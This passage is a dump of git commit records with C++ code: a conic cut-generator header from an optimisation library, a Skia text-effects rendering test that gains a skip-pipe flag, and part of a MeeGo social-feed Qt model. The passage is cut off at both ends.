(c1_)\n      delete[] c1_;\n    c1_ = new double[size_];\n    double const * rhs_c1 = rhs.get_c1();\n    std::copy(rhs_c1, rhs_c1+size_, c1_);\n    \/\/ copy c2_\n    if (c2_)\n      delete[] c2_;\n    c2_ = new double[size_];\n    double const * rhs_c2 = rhs.get_c2();\n    std::copy(rhs_c2, rhs_c2+size_, c2_);\n    \/\/ save c10 and c20\n    c10_ = rhs.get_c10();\n    c20_ = rhs.get_c20();\n    return *this;\n  }\n  ~Disjunction() { delete[] c1_; delete[] c2_; }\n  double const * get_c1() const { return c1_; }\n  double get_c10() const { return c10_; }\n  double const * get_c2() const { return c2_; }\n  double get_c20() const { return c20_; }\n  int size() const {return size_;}\n};\n\n#endif\n<commit_msg>virtual function for generating row cuts from conic interfaces is added.<commit_after>#ifndef CglConicCutGenerator_H\n#define CglConicCutGenerator_H\n\n\/\/ CGL headers\n#include <CglTreeInfo.hpp>\n\/\/ OsiConic headers\n#include <OsiConicSolverInterface.hpp>\n\n\/\/ this is an abstract base class for generating conic cuts.\n\/\/ specific conic cut generators inherit this class.\n\/\/\n\/\/\n\n\/\/ what is common to all conic cut generators?\n\/\/ for now we assume there is not much in common.\n\/\/ I will come back here when I implemented all specific cuts\n\/\/ since I will know then what is common.\n\/\/ following maybe?\n\/\/ --cut generating cone\n\/\/ ----size of cone\n\/\/ ----members of the cut generating cone\n\/\/ --disjunction?\n\nclass CglConicCutGenerator {\npublic:\n  \/\/ default constructor\n  CglConicCutGenerator();\n  \/\/ copy constructor\n  CglConicCutGenerator(CglConicCutGenerator const & other);\n  \/\/ copy assignment operator\n  CglConicCutGenerator & operator=(CglConicCutGenerator const & rhs);\n  virtual ~CglConicCutGenerator();\n  \/\/ clone method\n  virtual CglConicCutGenerator * clone() const = 0;\n  \/\/ Create C++ lines so set generator, I do not see why we have this.\n  virtual std::string generateCpp( FILE * ) {return \"\";}\n\n  \/\/\/ This can be used to refresh any information\n  virtual void refreshSolver(OsiConicSolverInterface * si) {}\n  \/\/ generate cuts\n  virtual void generateCuts(const OsiConicSolverInterface & si,\n\t\t\t    OsiConicCuts & cs,\n\t\t\t    const CglTreeInfo info = CglTreeInfo()) = 0;\n  \/\/ generate linear\/ordinary cuts.\n  virtual void generateCuts(const OsiConicSolverInterface & si,\n\t\t\t    OsiCuts & cs,\n\t\t\t    const CglTreeInfo info = CglTreeInfo()) = 0;\n  int aggressiveness() const;\n  void setAggressiveness(int value);\n  \/\/ set whether can do global cuts\n  void setGlobalCuts(bool ability);\n  bool canDoGlobalCuts() const;\n  \/**\n     Returns true if may generate cuts in tree (rather than root node).\n     Used so know if matrix will change in tree.  Really\n     meant so column cut generators can still be active\n     without worrying code.\n     Default is true\n  *\/\n  virtual bool mayGenerateRowCutsInTree() const;\n  \/\/\/ Return true if needs optimal basis to do cuts\n  virtual bool needsOptimalBasis() const;\n  \/\/\/ Return maximum length of cut in tree\n  virtual int maximumLengthOfCutInTree() const\n  { return COIN_INT_MAX;}\nprivate:\n  \/**\n     Aggressiveness - 0 = neutral, 100 is normal root node.\n     Really just a hint to cut generator\n  *\/\n  int aggressive_;\n  \/\/\/ True if can do global cuts i.e. no general integers\n  bool canDoGlobalCuts_;\n};\n\n\/\/ we define a class to represent a disjunction. This is for conic Cgl\n\/\/ use only. Not intented for public use.\nclass Disjunction {\n  int size_;\n  double * c1_;\n  double c10_;\n  double * c2_;\n  double c20_;\npublic:\n  \/\/ defualt constructor\n  Disjunction(int size,\n\t      double const * c1, double c10,\n\t      double const * c2, double c20): size_(size) {\n    c1_ = new double[size];\n    std::copy (c1, c1+size, c1_);\n    c2_ = new double[size];\n    std::copy (c2, c2+size, c2_);\n    c10_ = c10;\n    c20_ = c20;\n  }\n  \/\/ copy constructor\n  Disjunction(Disjunction const & other) {\n    \/\/ save size_\n    size_ = other.size();\n    \/\/ copy c1_\n    if (c1_)\n      delete[] c1_;\n    c1_ = new double[size_];\n    double const * other_c1 = other.get_c1();\n    std::copy(other_c1, other_c1+size_, c1_);\n    \/\/ copy c2_\n    if (c2_)\n      delete[] c2_;\n    c2_ = new double[size_];\n    double const * other_c2 = other.get_c2();\n    std::copy(other_c2, other_c2+size_, c2_);\n    \/\/ save c10 and c20\n    c10_ = other.get_c10();\n    c20_ = other.get_c20();\n  }\n  \/\/ copy assignment operator\n  Disjunction & operator=(Disjunction const & rhs) {\n    \/\/ save size_\n    size_ = rhs.size();\n    \/\/ copy c1_\n    if (c1_)\n      delete[] c1_;\n    c1_ = new double[size_];\n    double const * rhs_c1 = rhs.get_c1();\n    std::copy(rhs_c1, rhs_c1+size_, c1_);\n    \/\/ copy c2_\n    if (c2_)\n      delete[] c2_;\n    c2_ = new double[size_];\n    double const * rhs_c2 = rhs.get_c2();\n    std::copy(rhs_c2, rhs_c2+size_, c2_);\n    \/\/ save c10 and c20\n    c10_ = rhs.get_c10();\n    c20_ = rhs.get_c20();\n    return *this;\n  }\n  ~Disjunction() { delete[] c1_; delete[] c2_; }\n  double const * get_c1() const { return c1_; }\n  double get_c10() const { return c10_; }\n  double const * get_c2() const { return c2_; }\n  double get_c20() const { return c20_; }\n  int size() const {return size_;}\n};\n\n#endif\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm.h\"\n#include \"SkFlattenableBuffers.h\"\n#include \"SkLayerRasterizer.h\"\n#include \"SkBlurMaskFilter.h\"\n\nstatic void r0(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setMaskFilter(SkBlurMaskFilter::Create(SkIntToScalar(3),\n                                             SkBlurMaskFilter::kNormal_BlurStyle))->unref();\n    rast->addLayer(p, SkIntToScalar(3), SkIntToScalar(3));\n    \n    p.setMaskFilter(NULL);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1);\n    rast->addLayer(p);\n    \n    p.setAlpha(0x11);\n    p.setStyle(SkPaint::kFill_Style);\n    p.setXfermodeMode(SkXfermode::kSrc_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r1(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    p.setAlpha(0x40);\n    p.setXfermodeMode(SkXfermode::kSrc_Mode);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1*2);\n    rast->addLayer(p);\n}\n\nstatic void r2(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setStyle(SkPaint::kStrokeAndFill_Style);\n    p.setStrokeWidth(SK_Scalar1*4);\n    rast->addLayer(p);\n    \n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1*3\/2);\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r3(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1*3);\n    rast->addLayer(p);\n    \n    p.setAlpha(0x20);\n    p.setStyle(SkPaint::kFill_Style);\n    p.setXfermodeMode(SkXfermode::kSrc_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r4(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setAlpha(0x60);\n    rast->addLayer(p, SkIntToScalar(3), SkIntToScalar(3));\n    \n    p.setAlpha(0xFF);\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p, SK_Scalar1*3\/2, SK_Scalar1*3\/2);\n    \n    p.setXfermode(NULL);\n    rast->addLayer(p);\n}\n\n#include \"SkDiscretePathEffect.h\"\n\nstatic void r5(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    p.setPathEffect(new SkDiscretePathEffect(SK_Scalar1*4, SK_Scalar1*3))->unref();\n    p.setXfermodeMode(SkXfermode::kSrcOut_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r6(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    p.setAntiAlias(false);\n    SkLayerRasterizer* rast2 = new SkLayerRasterizer;\n    r5(rast2, p);\n    p.setRasterizer(rast2)->unref();\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n}\n\n#include \"Sk2DPathEffect.h\"\n\nstatic SkPathEffect* MakeDotEffect(SkScalar radius, const SkMatrix& matrix) {\n    SkPath path;\n    path.addCircle(0, 0, radius);\n    return new SkPath2DPathEffect(matrix, path);\n}\n\nstatic void r7(SkLayerRasterizer* rast, SkPaint& p) {\n    SkMatrix    lattice;\n    lattice.setScale(SK_Scalar1*6, SK_Scalar1*6, 0, 0);\n    lattice.postSkew(SK_Scalar1\/3, 0, 0, 0);\n    p.setPathEffect(MakeDotEffect(SK_Scalar1*4, lattice))->unref();\n    rast->addLayer(p);\n}\n\nstatic void r8(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    SkMatrix    lattice;\n    lattice.setScale(SK_Scalar1*6, SK_Scalar1*6, 0, 0);\n    lattice.postSkew(SK_Scalar1\/3, 0, 0, 0);\n    p.setPathEffect(MakeDotEffect(SK_Scalar1*2, lattice))->unref();\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n    \n    p.setPathEffect(NULL);\n    p.setXfermode(NULL);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1);\n    rast->addLayer(p);\n}\n\nclass Line2DPathEffect : public Sk2DPathEffect {\npublic:\n    Line2DPathEffect(SkScalar width, const SkMatrix& matrix)\n    : Sk2DPathEffect(matrix), fWidth(width) {}\n    \n\tvirtual bool filterPath(SkPath* dst, const SkPath& src, SkStrokeRec* rec) SK_OVERRIDE {\n        if (this->INHERITED::filterPath(dst, src, rec)) {\n            rec->setStrokeStyle(fWidth);\n            return true;\n        }\n        return false;\n    }\n    \n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(Line2DPathEffect)\n    \nprotected:\n\tvirtual void nextSpan(int u, int v, int ucount, SkPath* dst) {\n        if (ucount > 1) {\n            SkPoint\tsrc[2], dstP[2];\n            \n            src[0].set(SkIntToScalar(u) + SK_ScalarHalf,\n                       SkIntToScalar(v) + SK_ScalarHalf);\n            src[1].set(SkIntToScalar(u+ucount) + SK_ScalarHalf,\n                       SkIntToScalar(v) + SK_ScalarHalf);\n            this->getMatrix().mapPoints(dstP, src, 2);\n            \n            dst->moveTo(dstP[0]);\n            dst->lineTo(dstP[1]);\n        }\n    }\n    \n    Line2DPathEffect(SkFlattenableReadBuffer& buffer) : INHERITED(buffer) {\n        fWidth = buffer.readScalar();\n    }\n    virtual void flatten(SkFlattenableWriteBuffer& buffer) const SK_OVERRIDE {\n        this->INHERITED::flatten(buffer);\n        buffer.writeScalar(fWidth);\n    }\n    \nprivate:\n    SkScalar fWidth;\n    \n    typedef Sk2DPathEffect INHERITED;\n};\n\nstatic void r9(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    SkMatrix    lattice;\n    lattice.setScale(SK_Scalar1, SK_Scalar1*6, 0, 0);\n    lattice.postRotate(SkIntToScalar(30), 0, 0);\n    p.setPathEffect(new Line2DPathEffect(SK_Scalar1*2, lattice))->unref();\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n    \n    p.setPathEffect(NULL);\n    p.setXfermode(NULL);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1);\n    rast->addLayer(p);\n}\n\ntypedef void (*raster_proc)(SkLayerRasterizer*, SkPaint&);\n\nstatic const raster_proc gRastProcs[] = {\n    r0, r1, r2, r3, r4, r5, r6, r7, r8, r9\n};\n\nstatic const struct {\n    SkColor fMul, fAdd;\n} gLightingColors[] = {\n    { 0x808080, 0x800000 }, \/\/ general case\n    { 0x707070, 0x707070 }, \/\/ no-pin case\n    { 0xFFFFFF, 0x800000 }, \/\/ just-add case\n    { 0x808080, 0x000000 }, \/\/ just-mul case\n    { 0xFFFFFF, 0x000000 }  \/\/ identity case\n};\n\n#include \"SkXfermode.h\"\n\nstatic void apply_shader(SkPaint* paint, int index) {\n    raster_proc proc = gRastProcs[index];\n    if (proc)\n    {\n        SkPaint p;\n        SkLayerRasterizer*  rast = new SkLayerRasterizer;\n        \n        p.setAntiAlias(true);\n        proc(rast, p);\n        paint->setRasterizer(rast)->unref();\n    }\n    \n#if 0\n    SkScalar dir[] = { SK_Scalar1, SK_Scalar1, SK_Scalar1 };\n    paint->setMaskFilter(SkBlurMaskFilter::CreateEmboss(dir, SK_Scalar1\/4, SkIntToScalar(4), SkIntToScalar(3)))->unref();\n#endif\n    paint->setColor(SK_ColorBLUE);\n}\n\nclass TextEffectsGM : public skiagm::GM {\npublic:\n\tTextEffectsGM() {}\n    \nprotected:\n    virtual SkString onShortName() SK_OVERRIDE {\n        return SkString(\"texteffects\");\n    }\n    \n    virtual SkISize onISize() SK_OVERRIDE {\n        return SkISize::Make(460, 680);\n    }\n    \n    virtual void onDraw(SkCanvas* canvas) SK_OVERRIDE {\n        canvas->save();\n        \n        SkPaint     paint;\n        paint.setAntiAlias(true);\n        paint.setTextSize(SkIntToScalar(56));\n        \n        SkScalar    x = SkIntToScalar(20);\n        SkScalar    y = paint.getTextSize();\n        \n        SkString str(\"Hamburgefons\");\n        \n        for (size_t i = 0; i < SK_ARRAY_COUNT(gRastProcs); i++) {\n            apply_shader(&paint, i);\n            \n            \/\/  paint.setMaskFilter(NULL);\n            \/\/  paint.setColor(SK_ColorBLACK);\n            \n            canvas->drawText(str.c_str(), str.size(), x, y, paint);\n            \n            y += paint.getFontSpacing();\n        }\n        \n        canvas->restore();\n    }\n    \nprivate:\n    typedef skiagm::GM INHERITED;\n};\n    \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic skiagm::GM* MyFactory(void*) { return new TextEffectsGM; }\nstatic skiagm::GMRegistry reg(MyFactory);\n    \n<commit_msg>suppress pip for now, since we use locally-defined effects<commit_after>\/*\n * Copyright 2011 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#include \"gm.h\"\n#include \"SkFlattenableBuffers.h\"\n#include \"SkLayerRasterizer.h\"\n#include \"SkBlurMaskFilter.h\"\n\nstatic void r0(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setMaskFilter(SkBlurMaskFilter::Create(SkIntToScalar(3),\n                                             SkBlurMaskFilter::kNormal_BlurStyle))->unref();\n    rast->addLayer(p, SkIntToScalar(3), SkIntToScalar(3));\n    \n    p.setMaskFilter(NULL);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1);\n    rast->addLayer(p);\n    \n    p.setAlpha(0x11);\n    p.setStyle(SkPaint::kFill_Style);\n    p.setXfermodeMode(SkXfermode::kSrc_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r1(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    p.setAlpha(0x40);\n    p.setXfermodeMode(SkXfermode::kSrc_Mode);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1*2);\n    rast->addLayer(p);\n}\n\nstatic void r2(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setStyle(SkPaint::kStrokeAndFill_Style);\n    p.setStrokeWidth(SK_Scalar1*4);\n    rast->addLayer(p);\n    \n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1*3\/2);\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r3(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1*3);\n    rast->addLayer(p);\n    \n    p.setAlpha(0x20);\n    p.setStyle(SkPaint::kFill_Style);\n    p.setXfermodeMode(SkXfermode::kSrc_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r4(SkLayerRasterizer* rast, SkPaint& p) {\n    p.setAlpha(0x60);\n    rast->addLayer(p, SkIntToScalar(3), SkIntToScalar(3));\n    \n    p.setAlpha(0xFF);\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p, SK_Scalar1*3\/2, SK_Scalar1*3\/2);\n    \n    p.setXfermode(NULL);\n    rast->addLayer(p);\n}\n\n#include \"SkDiscretePathEffect.h\"\n\nstatic void r5(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    p.setPathEffect(new SkDiscretePathEffect(SK_Scalar1*4, SK_Scalar1*3))->unref();\n    p.setXfermodeMode(SkXfermode::kSrcOut_Mode);\n    rast->addLayer(p);\n}\n\nstatic void r6(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    p.setAntiAlias(false);\n    SkLayerRasterizer* rast2 = new SkLayerRasterizer;\n    r5(rast2, p);\n    p.setRasterizer(rast2)->unref();\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n}\n\n#include \"Sk2DPathEffect.h\"\n\nstatic SkPathEffect* MakeDotEffect(SkScalar radius, const SkMatrix& matrix) {\n    SkPath path;\n    path.addCircle(0, 0, radius);\n    return new SkPath2DPathEffect(matrix, path);\n}\n\nstatic void r7(SkLayerRasterizer* rast, SkPaint& p) {\n    SkMatrix    lattice;\n    lattice.setScale(SK_Scalar1*6, SK_Scalar1*6, 0, 0);\n    lattice.postSkew(SK_Scalar1\/3, 0, 0, 0);\n    p.setPathEffect(MakeDotEffect(SK_Scalar1*4, lattice))->unref();\n    rast->addLayer(p);\n}\n\nstatic void r8(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    SkMatrix    lattice;\n    lattice.setScale(SK_Scalar1*6, SK_Scalar1*6, 0, 0);\n    lattice.postSkew(SK_Scalar1\/3, 0, 0, 0);\n    p.setPathEffect(MakeDotEffect(SK_Scalar1*2, lattice))->unref();\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n    \n    p.setPathEffect(NULL);\n    p.setXfermode(NULL);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1);\n    rast->addLayer(p);\n}\n\nclass Line2DPathEffect : public Sk2DPathEffect {\npublic:\n    Line2DPathEffect(SkScalar width, const SkMatrix& matrix)\n    : Sk2DPathEffect(matrix), fWidth(width) {}\n    \n\tvirtual bool filterPath(SkPath* dst, const SkPath& src, SkStrokeRec* rec) SK_OVERRIDE {\n        if (this->INHERITED::filterPath(dst, src, rec)) {\n            rec->setStrokeStyle(fWidth);\n            return true;\n        }\n        return false;\n    }\n    \n    SK_DECLARE_PUBLIC_FLATTENABLE_DESERIALIZATION_PROCS(Line2DPathEffect)\n    \nprotected:\n\tvirtual void nextSpan(int u, int v, int ucount, SkPath* dst) {\n        if (ucount > 1) {\n            SkPoint\tsrc[2], dstP[2];\n            \n            src[0].set(SkIntToScalar(u) + SK_ScalarHalf,\n                       SkIntToScalar(v) + SK_ScalarHalf);\n            src[1].set(SkIntToScalar(u+ucount) + SK_ScalarHalf,\n                       SkIntToScalar(v) + SK_ScalarHalf);\n            this->getMatrix().mapPoints(dstP, src, 2);\n            \n            dst->moveTo(dstP[0]);\n            dst->lineTo(dstP[1]);\n        }\n    }\n    \n    Line2DPathEffect(SkFlattenableReadBuffer& buffer) : INHERITED(buffer) {\n        fWidth = buffer.readScalar();\n    }\n    virtual void flatten(SkFlattenableWriteBuffer& buffer) const SK_OVERRIDE {\n        this->INHERITED::flatten(buffer);\n        buffer.writeScalar(fWidth);\n    }\n    \nprivate:\n    SkScalar fWidth;\n    \n    typedef Sk2DPathEffect INHERITED;\n};\n\nstatic void r9(SkLayerRasterizer* rast, SkPaint& p) {\n    rast->addLayer(p);\n    \n    SkMatrix    lattice;\n    lattice.setScale(SK_Scalar1, SK_Scalar1*6, 0, 0);\n    lattice.postRotate(SkIntToScalar(30), 0, 0);\n    p.setPathEffect(new Line2DPathEffect(SK_Scalar1*2, lattice))->unref();\n    p.setXfermodeMode(SkXfermode::kClear_Mode);\n    rast->addLayer(p);\n    \n    p.setPathEffect(NULL);\n    p.setXfermode(NULL);\n    p.setStyle(SkPaint::kStroke_Style);\n    p.setStrokeWidth(SK_Scalar1);\n    rast->addLayer(p);\n}\n\ntypedef void (*raster_proc)(SkLayerRasterizer*, SkPaint&);\n\nstatic const raster_proc gRastProcs[] = {\n    r0, r1, r2, r3, r4, r5, r6, r7, r8, r9\n};\n\nstatic const struct {\n    SkColor fMul, fAdd;\n} gLightingColors[] = {\n    { 0x808080, 0x800000 }, \/\/ general case\n    { 0x707070, 0x707070 }, \/\/ no-pin case\n    { 0xFFFFFF, 0x800000 }, \/\/ just-add case\n    { 0x808080, 0x000000 }, \/\/ just-mul case\n    { 0xFFFFFF, 0x000000 }  \/\/ identity case\n};\n\n#include \"SkXfermode.h\"\n\nstatic void apply_shader(SkPaint* paint, int index) {\n    raster_proc proc = gRastProcs[index];\n    if (proc)\n    {\n        SkPaint p;\n        SkLayerRasterizer*  rast = new SkLayerRasterizer;\n        \n        p.setAntiAlias(true);\n        proc(rast, p);\n        paint->setRasterizer(rast)->unref();\n    }\n    \n#if 0\n    SkScalar dir[] = { SK_Scalar1, SK_Scalar1, SK_Scalar1 };\n    paint->setMaskFilter(SkBlurMaskFilter::CreateEmboss(dir, SK_Scalar1\/4, SkIntToScalar(4), SkIntToScalar(3)))->unref();\n#endif\n    paint->setColor(SK_ColorBLUE);\n}\n\nclass TextEffectsGM : public skiagm::GM {\npublic:\n\tTextEffectsGM() {}\n    \nprotected:\n    virtual SkString onShortName() SK_OVERRIDE {\n        return SkString(\"texteffects\");\n    }\n    \n    virtual SkISize onISize() SK_OVERRIDE {\n        return SkISize::Make(460, 680);\n    }\n    \n    virtual void onDraw(SkCanvas* canvas) SK_OVERRIDE {\n        canvas->save();\n        \n        SkPaint     paint;\n        paint.setAntiAlias(true);\n        paint.setTextSize(SkIntToScalar(56));\n        \n        SkScalar    x = SkIntToScalar(20);\n        SkScalar    y = paint.getTextSize();\n        \n        SkString str(\"Hamburgefons\");\n        \n        for (size_t i = 0; i < SK_ARRAY_COUNT(gRastProcs); i++) {\n            apply_shader(&paint, i);\n            \n            \/\/  paint.setMaskFilter(NULL);\n            \/\/  paint.setColor(SK_ColorBLACK);\n            \n            canvas->drawText(str.c_str(), str.size(), x, y, paint);\n            \n            y += paint.getFontSpacing();\n        }\n        \n        canvas->restore();\n    }\n\n    virtual uint32_t onGetFlags() const SK_OVERRIDE {\n        \/\/ want to skip serialization due to custom effects only defined here\n        return kSkipPipe_Flag;\n    }\n\nprivate:\n    typedef skiagm::GM INHERITED;\n};\n    \n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nstatic skiagm::GM* MyFactory(void*) { return new TextEffectsGM; }\nstatic skiagm::GMRegistry reg(MyFactory);\n    \n<|endoftext|>"}
{"text":"<commit_before><commit_msg>17951<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2011 Intel Corporation.\n *\n * This program is licensed under the terms and conditions of the\n * Apache License, version 2.0.  The full text of the Apache License is at \t\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\/\n\n#include \"swmodel.h\"\n\n#include <QDebug>\n\n#include <QDateTime>\n#include <QStringList>\n#include <QDesktopServices>\n\n#include <libsocialweb-qt\/swclientservice.h>\n#include <libsocialweb-qt\/swclientitemview.h>\n#include <libsocialweb-qt\/swclientitem.h>\n\n#include <actions.h>\n\nSwModel::SwModel(SwClientService *clientService, QObject *parent):\n    McaFeedModel(parent),\n    mService(clientService),\n    mView(0)\n\n{\n    openView();\n}\n\/*\n\/\/ Developers: Please see annotations in emailmodel.cpp for help on how to\n\/\/   implement your own feed model. This one is no different.\nSocialModel::SocialModel(QObject *parent): McaFeedModel(parent)\n{\n    m_size = 15;\n    m_socials = new Social[m_size];\n\n    \/\/ ensure Socials generated are always the same\n    qsrand(0);\n\n    QDateTime date = QDateTime::currentDateTime();\n    for (int i=0; i<m_size; i++) {\n        date = date.addSecs(-qrand() % 10000);\n        m_socials[i].timestamp = date;\n\n        \/\/ use consistent uuids for testing\n        m_socials[i].uuid = QString::number(20000 + i);\n\n        QStringList list;\n        list << \"New friend\" << \"Sarah is listening\" <<\n                \"Photo album uploaded\" << \"John likes MeeGo\";\n        int msg = qrand() % list.size();\n        m_socials[i].subject = list.at(msg);\n\n        list.clear();\n        list << \"Alex has accepted your friend request\"\n                <<\n                \"Sarah is listening to Beethoven's 5th Symphony\"\n                <<\n                \"Photos from the last week of my road trip to Paris\"\n                <<\n                \"Hey guys, check out these cool new MeeGo applications\";\n        m_socials[i].body = list.at(msg);\n\n        connect(&m_socials[i].actions, SIGNAL(standardAction(QString,QString)),\n                this, SLOT(performAction(QString,QString)));\n    }\n}\n\nSocialModel::~SocialModel()\n{\n    delete [] m_socials;\n}\n*\/\n\nint SwModel::rowCount(const QModelIndex &parent) const\n{\n    Q_UNUSED(parent);\n    return mItems.count();\n}\n\nQVariant SwModel::data(const QModelIndex &index, int role) const\n{\n    int row = index.row();\n    if ((row >= mItems.count()) || (row < 0))\n        return QVariant();\n\/\/    qDebug() << QString(\"mItems.count(): \") << mItems.count();\n\/*\n    switch (role) {\n    case RequiredTypeRole:\n        return QString(\"content\");\n\n    case RequiredUniqueIdRole:\n        return m_socials[row].uuid;\n\n    case RequiredTimestampRole:\n        return m_socials[row].timestamp;\n\n    case GenericTitleRole:\n        return m_socials[row].subject;\n\n    case GenericContentRole:\n        return m_socials[row].body;\n\n    case GenericAvatarUrlRole:\n        if (index.row() % 2)\n            return QString(\"file:\/\/tmp\/happy.svg\");\n        else\n            return QString(\"file:\/\/tmp\/wink.svg\");\n\n    case CommonActionsRole:\n        return QVariant::fromValue<McaActions*>(&m_socials[row].actions);\n\n    default:\n        return QVariant();\n    };\n    *\/\n \/\/   qDebug() << QString(\"row: %1, mItems.count(): %2\").arg(QString::number(row), QString::number(mItems.count()));\n\/\/    qDebug() << QString(\"mItems.at(row): %1\/%2\").arg(QString::number((int)(mItems.at(row).item)), QString::number((int)(mItems.at(row).action))) ;\n    SwItem item = mItems.at(row);\n    SwClientItem *swItem = item.item;\n    if (!swItem)\n        return QVariant();\n\n    switch (role) {\n    case RequiredTypeRole:\n        {\n\/*            QString itemType;\n\n            switch (swItem->getItemType()) {\n            case SwClientItem::ItemTypeText:\n                itemType = \"text\";\n                break;\n            case SwClientItem::ItemTypePic:\n                itemType = \"picture\";\n                break;\n            case SwClientItem::ItemTypeLast:\n            default:\n                itemType = \"unknown\";\n                qDebug() << QString(\"Got unknown item type for SwClientItem of service %1! Props:\").arg(swItem->getServiceName());\n                qDebug() << swItem->getSwItemProps();\n                break;\n            }\n\n            return QVariant::fromValue<QString>(QString(\"%1\/%2\").arg(itemType, swItem->getServiceName()));*\/\n            return \"content\";\n            break;\n        }\n\n    case RequiredUniqueIdRole:\n        {\n            return QVariant::fromValue<QString>(swItem->getID());\n            break;\n        }\n\n    case RequiredTimestampRole:\n        {\n            return QVariant::fromValue<QDateTime>(swItem->getDateTime());\n            break;\n        }\n\n    case CommonUuidRole:\n        {\n            return QVariant::fromValue<QString>(swItem->getSwUUID());\n            break;\n        }\n\n    case GenericTitleRole:\n        {\n            return QVariant::fromValue<QString>(swItem->getAuthorName());\n            break;\n        }\n\n\/\/    case GenericIconUrlRole:\n\/\/        {\n\/\/            \/\/TODO: Ugly - need to resolve this in libsocialweb-qt -\n\/\/            \/\/getService gives us a const SwClientService, but the\n\/\/            \/\/SwClientService::getServiceConfig is not const, as it will\n\/\/            \/\/instanciate a SwClientServiceConfig private member object if\n\/\/            \/\/it's not already instanciated...\n\/\/            SwClientService *swService = const_cast<SwClientService *>(swItem->getService());\n\n\/\/            QString path = swService->getServiceConfig()->getIconPath();\n\/\/            if (path.isEmpty())\n\/\/                return QVariant();\n\/\/            return QVariant::fromValue<QString>(QString(\"file:\/\/%1\").arg(path));\n\/\/            break;\n\/\/        }\n\n    case GenericRelevanceRole:\n        {\n            return QVariant::fromValue<qreal>(1.0);\n            break;\n        }\n\n    case GenericPictureUrlRole:\n        {\n            QString path = swItem->getThumbnailPath();\n            if (path.isEmpty())\n                return QVariant();\n            return QVariant::fromValue<QString>(QString(\"file:\/\/%1\").arg(path));\n            break;\n        }\n    case GenericAvatarUrlRole:\n        {\n            QString path = swItem->getAuthorIconPath();\n            if (path.isEmpty())\n                return QVariant();\n            return QVariant::fromValue<QString>(QString(\"file:\/\/%1\").arg(path));\n            break;\n        }\n    case GenericContentRole:\n        {\n            \/\/Note that getContent will return the message text for\n            \/\/ItemTypeText, and will appropriately fall back to the\n            \/\/picture title on ItemTypePic\n            return QVariant::fromValue<QString>(swItem->getContent());\n        }\n\n    case CommonActionsRole:\n        return QVariant::fromValue<McaActions*>(item.action);\n\n    default:\n        return QVariant();\n    }\n\n    return QVariant();\n\n}\n\nvoid SwModel::performAction(QString action, QString uniqueid)\n{\n    qDebug() << \"Action\" << 